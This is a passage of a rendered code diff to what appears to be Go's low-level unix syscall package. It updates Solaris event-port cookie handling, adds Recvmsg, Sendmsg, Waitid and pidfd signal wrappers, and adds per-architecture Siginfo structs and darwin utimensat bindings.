peExt.Source = peInt.Source
cookie := (*interface{})(unsafe.Pointer(peInt.User))
peExt.Cookie = *cookie
switch peInt.Source {
case PORT_SOURCE_FD:
delete(e.cookies, cookie)
peExt.Fd = uintptr(peInt.Object)
// Only remove the fds entry if it exists and this cookie matches
if fobj, ok := e.fds[peExt.Fd]; ok {
if &fobj.cookie == cookie {
delete(e.fds, peExt.Fd)
}
}
case PORT_SOURCE_FILE:
if fCookie, ok := e.cookies[cookie]; ok && uintptr(unsafe.Pointer(fCookie.fobj)) == uintptr(peInt.Object) {
// Use our stashed reference rather than using unsafe on what we got back
// the unsafe version would be (*fileObj)(unsafe.Pointer(uintptr(peInt.Object)))
peExt.fobj = fCookie.fobj
} else {
panic("mismanaged memory")
}
delete(e.cookies, cookie)
peExt.Path = BytePtrToString((*byte)(unsafe.Pointer(peExt.fobj.Name)))
// Only remove the paths entry if it exists and this cookie matches
if fobj, ok := e.paths[peExt.Path]; ok {
if &fobj.cookie == cookie {
delete(e.paths, peExt.Path)
}
}
}
}
// Pending wraps port_getn(3c) and returns how many events are pending.
func (e *EventPort) Pending() (int, error) {
var n uint32 = 0
@@ -962,21 +998,7 @@ func (e *EventPort) Get(s []PortEvent, min int, timeout *Timespec) (int, error)
e.mu.Lock()
defer e.mu.Unlock()
for i := 0; i < int(got); i++ {
s[i].Events = ps[i].Events
s[i].Source = ps[i].Source
switch ps[i].Source {
case PORT_SOURCE_FD:
s[i].Fd = uintptr(ps[i].Object)
cookie := (*interface{})(unsafe.Pointer(ps[i].User))
s[i].Cookie = *cookie
delete(e.fds, s[i].Fd)
case PORT_SOURCE_FILE:
s[i].fobj = (*fileObj)(unsafe.Pointer(uintptr(ps[i].Object)))
s[i].Path = BytePtrToString((*byte)(unsafe.Pointer(s[i].fobj.Name)))
cookie := (*interface{})(unsafe.Pointer(ps[i].User))
s[i].Cookie = *cookie
delete(e.paths, s[i].Path)
}
e.peIntToExt(&ps[i], &s[i])
}
return int(got), err
}
+27
View File
@@ -337,6 +337,33 @@ func Recvfrom(fd int, p []byte, flags int) (n int, from Sockaddr, err error) {
return
}
func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
var rsa RawSockaddrAny
n, oobn, recvflags, err = recvmsgRaw(fd, p, oob, flags, &rsa)
// source address is only specified if the socket is unconnected
if rsa.Addr.Family != AF_UNSPEC {
from, err = anyToSockaddr(fd, &rsa)
}
return
}
func Sendmsg(fd int, p, oob []byte, to Sockaddr, flags int) (err error) {
_, err = SendmsgN(fd, p, oob, to, flags)
return
}
func SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error) {
var ptr unsafe.Pointer
var salen _Socklen
if to != nil {
ptr, salen, err = to.sockaddr()
if err != nil {
return 0, err
}
}
return sendmsgN(fd, p, oob, ptr, salen, flags)
}
func Send(s int, buf []byte, flags int) (err error) {
return sendto(s, buf, flags, nil, 0)
}
+4
View File
@@ -2135,6 +2135,10 @@ const (
PTRACE_SYSCALL_INFO_NONE = 0x0
PTRACE_SYSCALL_INFO_SECCOMP = 0x3
PTRACE_TRACEME = 0x0
P_ALL = 0x0
P_PGID = 0x2
P_PID = 0x1
P_PIDFD = 0x3
QNX4_SUPER_MAGIC = 0x2f
QNX6_SUPER_MAGIC = 0x68191122
RAMFS_MAGIC = 0x858458f6
+9 -4
View File
@@ -643,17 +643,22 @@ var libc_flistxattr_trampoline_addr uintptr
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
_, _, e1 := syscall_syscall6(libc_setattrlist_trampoline_addr, uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := syscall_syscall6(libc_utimensat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
var libc_setattrlist_trampoline_addr uintptr
var libc_utimensat_trampoline_addr uintptr
//go:cgo_import_dynamic libc_setattrlist setattrlist "/usr/lib/libSystem.B.dylib"
//go:cgo_import_dynamic libc_utimensat utimensat "/usr/lib/libSystem.B.dylib"
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
+4 -4
View File
@@ -228,11 +228,11 @@ TEXT libc_flistxattr_trampoline<>(SB),NOSPLIT,$0-0
GLOBL ·libc_flistxattr_trampoline_addr(SB), RODATA, $8
DATA ·libc_flistxattr_trampoline_addr(SB)/8, $libc_flistxattr_trampoline<>(SB)
TEXT libc_setattrlist_trampoline<>(SB),NOSPLIT,$0-0
JMP libc_setattrlist(SB)
TEXT libc_utimensat_trampoline<>(SB),NOSPLIT,$0-0
JMP libc_utimensat(SB)
GLOBL ·libc_setattrlist_trampoline_addr(SB), RODATA, $8
DATA ·libc_setattrlist_trampoline_addr(SB)/8, $libc_setattrlist_trampoline<>(SB)
GLOBL ·libc_utimensat_trampoline_addr(SB), RODATA, $8
DATA ·libc_utimensat_trampoline_addr(SB)/8, $libc_utimensat_trampoline<>(SB)
TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0
JMP libc_fcntl(SB)
+9 -4
View File
@@ -643,17 +643,22 @@ var libc_flistxattr_trampoline_addr uintptr
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
_, _, e1 := syscall_syscall6(libc_setattrlist_trampoline_addr, uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := syscall_syscall6(libc_utimensat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
var libc_setattrlist_trampoline_addr uintptr
var libc_utimensat_trampoline_addr uintptr
//go:cgo_import_dynamic libc_setattrlist setattrlist "/usr/lib/libSystem.B.dylib"
//go:cgo_import_dynamic libc_utimensat utimensat "/usr/lib/libSystem.B.dylib"
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
+4 -4
View File
@@ -228,11 +228,11 @@ TEXT libc_flistxattr_trampoline<>(SB),NOSPLIT,$0-0
GLOBL ·libc_flistxattr_trampoline_addr(SB), RODATA, $8
DATA ·libc_flistxattr_trampoline_addr(SB)/8, $libc_flistxattr_trampoline<>(SB)
TEXT libc_setattrlist_trampoline<>(SB),NOSPLIT,$0-0
JMP libc_setattrlist(SB)
TEXT libc_utimensat_trampoline<>(SB),NOSPLIT,$0-0
JMP libc_utimensat(SB)
GLOBL ·libc_setattrlist_trampoline_addr(SB), RODATA, $8
DATA ·libc_setattrlist_trampoline_addr(SB)/8, $libc_setattrlist_trampoline<>(SB)
GLOBL ·libc_utimensat_trampoline_addr(SB), RODATA, $8
DATA ·libc_utimensat_trampoline_addr(SB)/8, $libc_utimensat_trampoline<>(SB)
TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0
JMP libc_fcntl(SB)
+20
View File
@@ -231,6 +231,16 @@ func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Waitid(idType int, id int, info *Siginfo, options int, rusage *Rusage) (err error) {
_, _, e1 := Syscall6(SYS_WAITID, uintptr(idType), uintptr(id), uintptr(unsafe.Pointer(info)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func KeyctlInt(cmd int, arg2 int, arg3 int, arg4 int, arg5 int) (ret int, err error) {
r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
ret = int(r0)
@@ -1992,6 +2002,16 @@ func PidfdGetfd(pidfd int, targetfd int, flags int) (fd int, err error) {
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func PidfdSendSignal(pidfd int, sig Signal, info *Siginfo, flags int) (err error) {
_, _, e1 := Syscall6(SYS_PIDFD_SEND_SIGNAL, uintptr(pidfd), uintptr(sig), uintptr(unsafe.Pointer(info)), uintptr(flags), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func shmat(id int, addr uintptr, flag int) (ret uintptr, err error) {
r0, _, e1 := Syscall(SYS_SHMAT, uintptr(id), uintptr(addr), uintptr(flag))
ret = uintptr(r0)
+7
View File
@@ -250,6 +250,13 @@ type Sigset_t struct {
const _C__NSIG = 0x41
type Siginfo struct {
Signo int32
Errno int32
Code int32
_ [116]byte
}
type Termios struct {
Iflag uint32
Oflag uint32
+8
View File
@@ -265,6 +265,14 @@ type Sigset_t struct {
const _C__NSIG = 0x41
type Siginfo struct {
Signo int32
Errno int32
Code int32
_ int32
_ [112]byte
}
type Termios struct {
Iflag uint32
Oflag uint32
+7
View File
@@ -241,6 +241,13 @@ type Sigset_t struct {
const _C__NSIG = 0x41
type Siginfo struct {
Signo int32
Errno int32
Code int32
_ [116]byte
}
type Termios struct {
Iflag uint32
Oflag uint32
+8
View File
@@ -244,6 +244,14 @@ type Sigset_t struct {
const _C__NSIG = 0x41
type Siginfo struct {
Signo int32
Errno int32
Code int32
_ int32
_ [112]byte
}
type Termios struct {
Iflag uint32
Oflag uint32
+7
View File
@@ -246,6 +246,13 @@ type Sigset_t struct {
const _C__NSIG = 0x80
type Siginfo struct {
Signo int32
Code int32
Errno int32
_ [116]byte
}
type Termios struct {
Iflag uint32
Oflag uint32
+8
View File
@@ -247,6 +247,14 @@ type Sigset_t struct {
const _C__NSIG = 0x80
type Siginfo struct {
Signo int32
Code int32
Errno int32
_ int32
_ [112]byte
}
type Termios struct {
Iflag uint32
Oflag uint32
+8
View File
@@ -247,6 +247,14 @@ type Sigset_t struct {
const _C__NSIG = 0x80
type Siginfo struct {
Signo int32
Code int32
Errno int32
_ int32
_ [112]byte
}
type Termios struct {
Iflag uint32
Oflag uint32
+7
View File
@@ -246,6 +246,13 @@ type Sigset_t struct {
const _C__NSIG = 0x80
type Siginfo struct {
Signo int32
Code int32
Errno int32
_ [116]byte
}
type Termios struct {
Iflag uint32
Oflag uint32
Loaded 100 of 599 files, more files were not shown because too many files have changed in this diff. Show more